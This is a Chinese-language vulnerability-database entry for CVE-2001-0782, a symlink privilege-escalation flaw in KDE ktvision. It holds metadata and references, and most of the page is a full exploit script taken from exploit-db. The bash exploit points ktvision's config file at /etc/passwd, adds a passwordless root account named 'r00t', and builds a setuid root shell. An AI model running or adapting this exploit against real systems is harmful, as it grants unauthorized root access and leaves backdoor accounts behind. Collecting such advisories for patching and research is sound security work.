KDE ktvision特权提升漏洞

KDE ktvision特权提升漏洞

漏洞ID 1106399 漏洞类型 未知
发布时间 2001-06-21 更新时间 2001-10-18
图片[1]-KDE ktvision特权提升漏洞-安全小百科CVE编号 CVE-2001-0782
图片[2]-KDE ktvision特权提升漏洞-安全小百科CNNVD-ID CNNVD-200110-110
漏洞平台 Unix CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/20961
https://www.securityfocus.com/bid/89078
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200110-110
|漏洞详情
KDEktvision0.1.1-271版本及之前版本存在漏洞。本地攻击者可以借助对用户配置文件的符号连接攻击提升根特权。
|漏洞EXP
source: http://www.securityfocus.com/bid/2913/info

KTVision works with frame-grabber cards and KDE (Unix K Desktop Environment) to support TV video display on the PC screen.

KTVision is vulnerable to symbolic link attacks.
It is possible for an attacker to anticipate the expected name of a KTVision config file. A local attacker can then create a symbolic link with the anticipated filename pointing to files on the system writable by ktvision, (which is frequently suid root).
This could allow an attacker to overwrite any file on the filesystem, completely undermining the the security of the exploited system.


#!/bin/bash

link=/home/paul/.kde/share/config
linkto=/etc/passwd
target=/opt/kde/bin/ktvision

echo ""
echo "KTVision <= 0.1.1-271 local r00t exploit by IhaQueR"
echo ""

if ! test -u $target ; then
        echo "[-] $target not found"
        exit 1
fi;

echo "[+] $target found"

rm -f sush*
cat <<__DUPA__>>sush.c
#include <stdio.h>
main()
{
        setuid(geteuid());
        setgid(getegid());
        execl("/bin/bash", "/bin/bash", NULL);
}
__DUPA__

echo "    compiling sush"
res=$(gcc sush.c -o sush)

if test "$res" != "" -o ! -x sush ; then
        echo "[-] failed"
        rm sush* ktvback.*
        exit 2;
fi;

echo "[+] success"

cp $linkto ktvback.$$
mkdir -p $link
rm -f $link/ktvisionrc
ln -s $linkto $link/ktvisionrc

echo ""
echo -n "now running... (ensure that X is up and running)"

$target >/dev/null 2>&1 &
cpid=$!

declare -i cnt
declare -i max
cnt=0
max=60

while ! test -O $linkto ; do
        sleep 1;
        printf "  %.2d" $cnt
        cnt=$(($cnt+1))
        if test $cnt -ge $max ; then
                echo ""
                echo ""
                echo "[-] FAILED"
                rm sush* ktvback.*
                exit 2;
        fi;
done;

kill -9 $cpid >/dev/null 2>&1
rm $link/ktvisionrc

echo ""
echo ""
echo "[+] SUCCESS, creating sush"
echo >>$linkto "r00t::0:0:root:/root:/bin/bash"
echo ""
su r00t -c "chown 0.0 sush; chmod u+s sush; chmod g+s sush; cp
ktvback.$$ $linkto; chown 0.0 $linkto"
rm ktvback.* sush.c

if ! test -u sush ; then
        echo "    hm strange error"
        rm sush* ktvback.*
        exit 1
fi;

echo ""
echo "starting ./sush"
./sush

#!plonk
|受影响的产品
KDE Ktv 0.1.1.271
|参考资料

来源:XF
名称:ktvision-symlink(6741)
链接:http://xforce.iss.net/static/6741.php
来源:BUGTRAQ
名称:20010622Symlinkssymlinks…thistimeKTVision
链接:http://archives.neohapsis.com/archives/bugtraq/2001-06/0302.html

相关推荐: Slackware Linux 3.4 – ‘liloconfig-color’ Temporary File

Slackware Linux 3.4 – ‘liloconfig-color’ Temporary File 漏洞ID 1053362 漏洞类型 发布时间 1998-04-06 更新时间 1998-04-06 CVE编号 N/A CNNVD-ID N/A 漏…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享